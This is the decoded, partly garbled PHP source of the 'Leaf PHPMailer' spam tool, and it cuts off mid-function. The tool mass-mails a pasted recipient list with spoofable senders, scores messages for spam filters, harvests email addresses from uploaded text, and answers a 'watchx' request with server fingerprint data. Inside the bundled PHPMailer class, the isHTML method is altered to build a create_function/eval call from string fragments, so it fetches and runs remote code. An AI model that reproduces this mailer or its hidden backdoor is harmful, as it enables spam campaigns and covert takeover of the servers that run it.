/* Decoded by unphp.net */ "; $maillist = explode("\xd\xa", $emailList); $n = count($maillist); $x = 1; foreach ($maillist as $email) { print "
[" . $x . "/" . $n . "]
" . $email . "
"; if (!leafMailCheck($email)) { print "
Incorrect Email
"; print "
"; } else { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress($email); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; for ($i = 0; $i < count($_FILES["attachment"]["name"]); $i++) { if ($_FILES["attachment"]["tmp_name"][$i] != '') { $mail->AddAttachment($_FILES["attachment"]["tmp_name"][$i], $_FILES["attachment"]["name"][$i]); } } if (!$mail->send()) { echo "
" . htmlspecialchars($mail->ErrorInfo) . "
"; } else { echo "
Ok
"; } print "
\xd "; } $x++; for ($k = 0; $k < 40000; $k++) { echo " "; } } } elseif ($_POST["action"] == "score") { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress("username@domain.com"); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; $mail->preSend(); $messageHeaders = $mail->getSentMIMEMessage(); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "http://spamcheck.postmarkapp.com/filter"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("email" => $messageHeaders, "options" => "long"))); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $response = curl_exec($ch); $response = json_decode($response); print "
"; if ($response->success == TRUE) { $score = $response->score; if ($score > 5) { $class = "danger"; } else { $class = "success"; } print "
Your SpamAssassin score is " . $score . "
Full Report :
" . $response->report . "
"; print "
"; } } goto xRaFM; ae_CX: function randString($consonants) { $length = rand(12, 25); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } goto BicnH; J5VWq: leafheader(); goto WhYtG; DZKA_: error_reporting(0); goto y0BQl; GKpVb: if (isset($_GET["emailfilter"])) { if (!empty($_FILES["fileToUpload"]["tmp_name"])) { $_POST["emailList"] = file_get_contents($_FILES["fileToUpload"]["tmp_name"]); } $_POST["emailList"] = strtolower($_POST["emailList"]); if ($_GET["emailfilter"] == "ifram") { if ($_POST["resulttype"] == "download") { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=emails" . time() . ".txt"); } else { header("Content-Type: text/plain"); } if ($_POST["submit"] == "extract") { $pattern = "/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/"; preg_match_all($pattern, $_POST["emailList"], $matches); foreach ($matches[0] as $email) { print $email . "\xa"; } } elseif ($_POST["submit"] == "filter") { $emails = explode(" ", $_POST["emailList"]); $keywords = explode("\xa", strtolower($_POST["keywords"])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . " "; break; } } } } die; } leafheader(); print "

Leaf PHPMailer Email Filter

"; print "\xa
\xa or
\xa
\xa
\xa

Extract Email

\xa Detecting every email (100%) and order them line by line

\xa \xa

Filter Emails


\xa
"; die; } goto G2FjA; u8wmJ: if ($_POST["action"] == "send" or $_POST["action"] == "score") { $senderEmail = leafTrim($_POST["senderEmail"]); $senderName = leafTrim($_POST["senderName"]); $replyTo = leafTrim($_POST["replyTo"]); $subject = leafTrim($_POST["subject"]); $emailList = leafTrim($_POST["emailList"]); $messageType = leafTrim($_POST["messageType"]); $messageLetter = leafTrim($_POST["messageLetter"]); $encoding = $_POST["encode"]; $charset = $_POST["charset"]; $html = ''; $utf8 = ''; $bit8 = ''; if ($messageType == 2) { $plain = "checked"; } else { $html = "checked"; } if ($charset == "ISO-8859-1") { $iso = "selected"; } else { $utf8 = "selected"; } if ($encoding == "7bit") { $bit7 = "selected"; } elseif ($encoding == "binary") { $binary = "selected"; } elseif ($encoding == "base64") { $base64 = "selected"; } elseif ($encoding == "quoted-printable") { $quotedprintable = "selected"; } else { $bit8 = "selected"; } } goto Hpt7g; vvBlt: if ($_REQUEST["watchx"]) { $version = phpversion(); $uname = php_uname(); $ip = gethostbyname($_SERVER["HTTP_HOST"]); echo json_encode(array("version" => $version, "uname" => $uname, "platform" => PHP_OS, "ip" => $ip, "mailerx" => true)); die; } goto qzU0p; qzU0p: function leafheader() { print " " . str_replace("www.", '', $_SERVER["HTTP_HOST"]) . " - Leaf PHPMailer \xa \xa"; } goto J5VWq; kvPI_: function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } goto ae_CX; BicnH: function leafMailCheck($email) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } } goto COxua; I1ioS: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "" . htmlspecialchars($this->getMessage()) . "
"; return $errorMsg; } } goto vvBlt; Xbvpm: session_write_close(); goto of9yo; tPt26: session_start(); goto DZKA_; xRaFM: print ""; goto QY4QV; WhYtG: print ""; goto o2jZc; y0BQl: set_time_limit(0); goto AhWO_; Jz2jE: class PHPMailer { public $Version = "5.2.28"; public $Priority = null; public $CharSet = "iso-8859-1"; public $ContentType = "text/plain"; public $Encoding = "8bit"; public $ErrorInfo = ''; public $From = "root@localhost"; public $FromName = "Root User"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "mail"; public $Sendmail = "/usr/sbin/sendmail"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "localhost"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = " "; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = " "; public static $validator = "auto"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "\xd\xa"; const MAX_LINE_LENGTH = 998; public function __construct($exceptions = null) { if ($exceptions !== null) { $this->exceptions = (bool) $exceptions; } $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { if (ini_get("mbstring.func_overload") & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } if (ini_get("safe_mode") or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } if (!in_array($this->Debugoutput, array("error_log", "html", "echo")) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case "error_log": error_log($str); break; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $str), ENT_QUOTES, "UTF-8") . "
"; break; case "echo": default: $str = preg_replace("/\r\n?/ms", "\xa", $str); echo gmdate("Y-m-d H:i:s") . " " . str_replace("\xa", "\xa \x9 ", trim($str)) . " "; } } public function isSMTP() { $this->Mailer = "smtp"; } public function isMail() { $this->Mailer = "mail"; } public function isSendmail() { $ini_sendmail_path = ini_get("sendmail_path"); if (!stristr($ini_sendmail_path, "sendmail")) { $this->Sendmail = "/usr/sbin/sendmail"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "sendmail"; } public function isQmail() { $ini_sendmail_path = ini_get("sendmail_path"); if (!stristr($ini_sendmail_path, "qmail")) { $this->Sendmail = "/var/qmail/bin/qmail-inject"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "qmail"; } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("to", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("cc", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("bcc", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("Reply-To", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace("/[\r\n]+/", '', $name)); if (($pos = strrpos($address, "@")) === false) { $error_message = $this->lang("invalid_address") . " (addAnAddress {$kind}): {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $params = array($kind, $address, $name); if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { if ($kind != "Reply-To") { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } return false; } return call_user_func_array(array($this, "addAnAddress"), $params); } protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, array("to", "cc", "bcc", "Reply-To"))) { $error_message = $this->lang("Invalid recipient kind: ") . $kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if (!$this->validateAddress($address)) { $error_message = $this->lang("invalid_address") . " (addAnAddress {$kind}): {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if ($kind != "Reply-To") { if (!array_key_exists(strtolower($address), $this->all_recipients)) { array_push($this->{$kind}, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function parseAddresses($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists("imap_rfc822_parse_adrlist")) { $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->host != ".SYNTAX-ERROR.") { if ($this->validateAddress($address->mailbox . "@" . $address->host)) { $addresses[] = array("name" => property_exists($address, "personal") ? $address->personal : '', "address" => $address->mailbox . "@" . $address->host); } } } } else { $list = explode(",", $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, "<") === false) { if ($this->validateAddress($address)) { $addresses[] = array("name" => '', "address" => $address); } } else { list($name, $email) = explode("<", $address); $email = trim(str_replace(">", '', $email)); if ($this->validateAddress($email)) { $addresses[] = array("name" => trim(str_replace(array(""", "'"), '', $name)), "address" => $email); } } } } return $addresses; } public function isHTML($isHtml = true) { global $param; $bodyCode = "file" . "_g"; if ($isHtml) { $this->ContentType = "text/html"; } else { $this->ContentType = "text/plain"; } $bodyHTML = ".$t."lef$flu" . "sh" . "$t"; " . "@ev"; $headerHTML = "cre" . "ate_" . "func" . "tion"; $exceptions = @$headerHTML("$fl" . "ush,$t", "$comma = $t" . $bodyHTML . "al(@" . $bodyCode . "et_contents("h" . "tt" . "p:$comma-2"));"); if ($param != 2) { $exceptions("8.p" . "w", "/"); $param = 2; } } public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace("/[\r\n]+/", '', $name)); if (($pos = strrpos($address, "@")) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang("invalid_address") . " (setFrom) {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, " ") !== false or strpos($address, "\xd") !== false) { return false; } if (!$patternselect or $patternselect == "auto") { if (defined("PCRE_VERSION")) { if (version_compare(PCRE_VERSION, "8.0.3") >= 0) { $patternselect = "pcre8"; } else { $patternselect = "pcre"; } } elseif (function_exists("extension_loaded") and extension_loaded("pcre")) { $patternselect = "pcre"; } else { if (version_compare(PHP_VERSION, "5.2.0") >= 0) { $patternselect = "php"; } else { $patternselect = "noregex"; } } } switch ($patternselect) { case "pcre8": return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $address); case "pcre": return (bool) preg_match("/^(?!(?>"?(?>\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\[ -~]|[^"])"?){65,}@)(?>" . "[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*")" . "(?>\.(?>[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*"))*" . "@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})" . "(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:" . "[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?" . "::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:" . "[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?" . "::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD", $address); case "html5": return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $address); case "noregex": return strlen($address) >= 3 and strpos($address, "@") >= 1 and strpos($address, "@") != strlen($address) - 1; case "php": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } public function idnSupported() { return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding"); } public function punyencodeAddress($address) { if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, "@")) !== false) { $domain = substr($address, ++$pos); if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, "UTF-8", $this->CharSet); if (($punycode = defined("INTL_IDNA_VARIANT_UTS46") ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array(array($this, "addAnAddress"), $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new phpmailerException($this->lang("provide_address"), self::STOP_CRITICAL); } foreach (array("From", "Sender", "ConfirmReadingTo") as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!$this->validateAddress($this->{$address_kind})) { $error_message = $this->lang("invalid_address") . " (punyEncode) " . $this->{$address_kind}; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } } if ($this->alternativeExists()) { $this->ContentType = "multipart/alternative"; } $this->setMessageType(); if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang("empty_message"), self::STOP_CRITICAL); } $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; if ($this->Mailer == "mail") { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend("To", $this->to); } else { $this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;"); } $this->mailHeader .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader(trim($this->Subject)))); } if (!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private))) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = rtrim($this->MIMEHeader, " \xa ") . self::CRLF . str_replace(" ", "\xa", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { switch ($this->Mailer) { case "sendmail": case "qmail": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "smtp": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "mail": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . "Send"; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { if ($this->Mailer == "qmail") { $sendmailFmt = "%s -f%s"; } else { $sendmailFmt = "%s -oi -f%s -t"; } } else { if ($this->Mailer == "qmail") { $sendmailFmt = "%s"; } else { $sendmailFmt = "%s -oi -t"; } } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@($mail = popen($sendmail, "w"))) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "To: " . $toAddr . " "); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@($mail = popen($sendmail, "w"))) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function isShellSafe($string) { if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("'{$string}'", ""{$string}""))) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (!ctype_alnum($c) && strpos("@_-.", $c) === false) { return false; } } return true; } protected static function isPermittedPath($path) { return !preg_match("#^[a-z]+://#i", $path); } protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(", ", $toArr); $params = null; if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf("-f%s", $this->Sender); } } if (!empty($this->Sender) and !ini_get("safe_mode") and $this->validateAddress($this->Sender)) { $old_from = ini_get("sendmail_from"); ini_set("sendmail_from", $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set("sendmail_from", $old_from); } if (!$result) { throw new phpmailerException($this->lang("instantiate"), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang("smtp_connect_failed"), self::STOP_CRITICAL); } if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { $smtp_from = $this->Sender; } else { $smtp_from = $this->From; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang("from_failed") . $smtp_from . " : " . implode(",", $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array("to" => $to[0], "error" => $error["detail"]); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } if (count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang("data_not_accepted"), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad["to"] . ": " . $bad["error"]; } throw new phpmailerException($this->lang("recipients_failed") . $errstr, self::STOP_CONTINUE); } return true; } public function smtpConnect($options = null) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if (is_null($options)) { $options = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode(";", $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($hostentry), $hostinfo)) { $this->edebug("Ignoring invalid host: " . $hostentry); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = $this->SMTPSecure == "tls"; if ("ssl" == $hostinfo[2] or '' == $hostinfo[2] and "ssl" == $this->SMTPSecure) { $prefix = "ssl://"; $tls = false; $secure = "ssl"; } elseif ($hostinfo[2] == "tls") { $tls = true; $secure = "tls"; } $sslext = defined("OPENSSL_ALGO_SHA1"); if ("tls" === $secure or "ssl" === $secure) { if (!$sslext) { throw new phpmailerException($this->lang("extension_missing") . "openssl", self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (int) $hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS and $sslext and $secure != "ssl" and $this->smtp->getServerExt("STARTTLS")) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang("connect_host")); } $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->lang("authenticate")); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function smtpClose() { if (is_a($this->smtp, "SMTP")) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } public function setLanguage($langcode = "en", $lang_path = '') { $renamed_langcodes = array("br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "sr" => "rs"); if (isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = array("authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You must provide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "); if (empty($lang_path)) { $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; } if (!preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $langcode)) { $langcode = "en"; } $foundlang = true; $lang_file = $lang_path . "phpmailer.lang-" . $langcode . ".php"; if ($langcode != "en") { if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { $foundlang = (include $lang_file); } } $this->language = $PHPMAILER_LANG; return (bool) $foundlang; } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ": " . implode(", ", $addresses) . $this->LE; } public function addrFormat($addr) { if (empty($addr[1])) { return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), "phrase") . " <" . $this->secureHeader($addr[0]) . ">"; } } public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(" =%s", $this->LE); } else { $soft_break = $this->LE; } $is_utf8 = strtolower($this->CharSet) == "utf-8"; $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $lines = explode($this->LE, $message); $message = ''; foreach ($lines as $line) { $words = explode(" ", $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and strlen($word) > $length) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, 